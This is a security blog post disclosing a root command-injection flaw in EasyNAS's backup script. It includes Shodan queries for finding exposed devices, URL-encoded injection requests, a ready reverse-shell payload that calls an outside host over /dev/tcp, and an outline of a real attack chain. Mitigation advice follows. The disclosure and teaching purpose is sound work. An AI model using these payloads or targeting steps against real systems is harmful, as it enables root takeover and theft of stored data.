Finding and Exploiting CVE-2023-0830 in EasyNas

March 18, 2023

Introduction

Recently, I discovered a vulnerability in a backup and restore script used in EasyNAS, a popular open-source network-attached storage solution. The vulnerability (published as CVE-2023-0830) allows for arbitrary command execution with root privileges. An attacker can use this to delete system files, steal sensitive data, or gain complete system access.

In this post, I'll show you how I found this vulnerability using Burp Suite and walk through the exploitation process. I'll also show the vulnerable code and explain what makes this such a dangerous flaw.

Target Identification

Vulnerable EasyNAS instances can be identified by their web interface running on ports 443 (HTTPS) or 80 (HTTP), featuring the "EasyNAS" branding on the login page. Use Shodan with queries like title:"EasyNAS Login" or scan for distinctive EasyNAS HTTP headers. This vulnerability affects EasyNAS version 1.1.0 and possibly earlier versions.

Details of the Vulnerability

The vulnerability exists in the backup and restore script used by EasyNAS. The script is written in Perl and is executed through the web interface. Here's the vulnerable code:

$rc=system("/usr/bin/sudo /usr/bin/tar cvf $mount_dir/$vol/$file @config_files > /dev/null" );

The problem is obvious - the script executes a system command using the system() function, and it includes user-controlled input ($file and $vol variables) without any sanitization. These variables come directly from GET parameters in the web interface, meaning we can inject our own commands.

What makes this vulnerability particularly dangerous is that the command is executed using sudo, giving the injected commands root privileges. Since the script itself already runs tar with sudo, any command we inject will inherit these elevated permissions.

Discovery with Burp Suite

Finding this vulnerability was surprisingly simple: I logged into the EasyNAS web interface with valid credentials, enabled Burp Suite's proxy to capture requests, and navigated to the backup feature. In Burp Suite, I noticed a GET request to /easynas/backup.pl with several parameters including name and vol. These parameters appeared to be directly incorporated into system commands without proper sanitization – a classic pattern that often leads to command injection vulnerabilities.

Technical Exploitation Details

Command Injection Mechanics

The exploitation leverages the way shell commands are parsed. The Perl script constructs a shell command using the variables $file and $vol directly in the command. When we inject the pipe character (|) into the $file variable, it breaks the command syntax and allows execution of a secondary command.

The Perl script constructs a shell command like:

/usr/bin/sudo /usr/bin/tar cvf $mount_dir/$vol/$file @config_files > /dev/null

When we inject the pipe character (|) into the $file variable, it breaks the command syntax and allows execution of a secondary command. The full injected parameter structure:
```
|command|command||a #
```
Breaking this down:
- The first | terminates the original command and starts a new one
- The second | pipes the output of the first command to the next command
- ||a creates a fallback command that will run if the previous command fails (a is just a non-existent command)
- # comments out the remainder of the original command to prevent syntax errors

Privilege Escalation Mechanism

This vulnerability provides a direct privilege escalation path because the web interface runs the backup script with the permissions of the web server user, but the script uses sudo to execute the tar command without requiring a password. This sudo configuration allows the web server user to run this specific tar command with root privileges. When we inject our commands using the pipe character, they inherit the sudo context and execute with root privileges, even though they're technically separate from the original tar command.

Exploitation Process Using Burp Suite

I exploited the vulnerability by intercepting a legitimate backup request in Burp Suite that looked like:

GET /easynas/backup.pl?action=backup&menu=none&.submit=Backup&name=backup_20230209&vol=datastore HTTP/1.1
Host: easynas.local
Cookie: session_id=abcdef123456

The name parameter contained a filename used in the backup command, making it ideal for command injection. I modified the request in Burp Suite's Repeater tab, changing the name parameter to include command injection characters:

GET /easynas/backup.pl?action=backup&menu=none&.submit=Backup&name=%7cwhoami%7c%7ca%20%23&vol=datastore HTTP/1.1

When sent, the server response indicated successful command execution with root privileges. For a practical demonstration, I developed a final payload that establishes a reverse shell with root privileges:

GET /easynas/backup.pl?action=backup&menu=none&.submit=Backup&name=%7c/bin/bash%20%7c%20bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.25/443%200%3E%261%27%7c%7ca%20%23&vol=datastore HTTP/1.1

This payload uses URL encoding for special characters and works by breaking out of the original command, executing bash, piping to another bash instance that runs the reverse shell command, all with inherited root privileges from the sudo context of the vulnerable script.

Real-World Attack Scenario

In a real attack, an adversary would identify an EasyNAS instance through network scanning, authenticate using common credentials, and deploy the exploit to establish a reverse shell. With root access, they could exfiltrate all data stored on the NAS, install persistence mechanisms, pivot to other internal systems, or modify system configurations to maintain access. This vulnerability is particularly concerning for internet-exposed devices, as attackers could gain complete control of the storage system with minimal effort.

Mitigation

To fix this vulnerability, implement strict input validation with a whitelist approach, use prepared statements or parameterized APIs where possible, avoid using sudo in scripts (especially for web applications), implement proper privilege separation, and apply the principle of least privilege throughout the application. The fix could be as simple as using the Perl module CGI.pm's built-in param method to sanitize user input, or enabling Taint mode to treat all user input as potentially dangerous.

Conclusion

This vulnerability in EasyNAS shows how even seemingly minor implementation details can lead to critical security issues. What makes this vulnerability particularly interesting is how easily it was discovered using basic penetration testing tools, yet it was overlooked during development.

The lesson here is that proper input validation is critical, especially when user input is passed to system commands. Even in authenticated areas of applications, user input should never be trusted.

Keep your systems updated and be aware of vulnerabilities, even in open-source software like EasyNAS. Take the necessary steps to protect your systems - especially network storage devices that often contain your most sensitive data.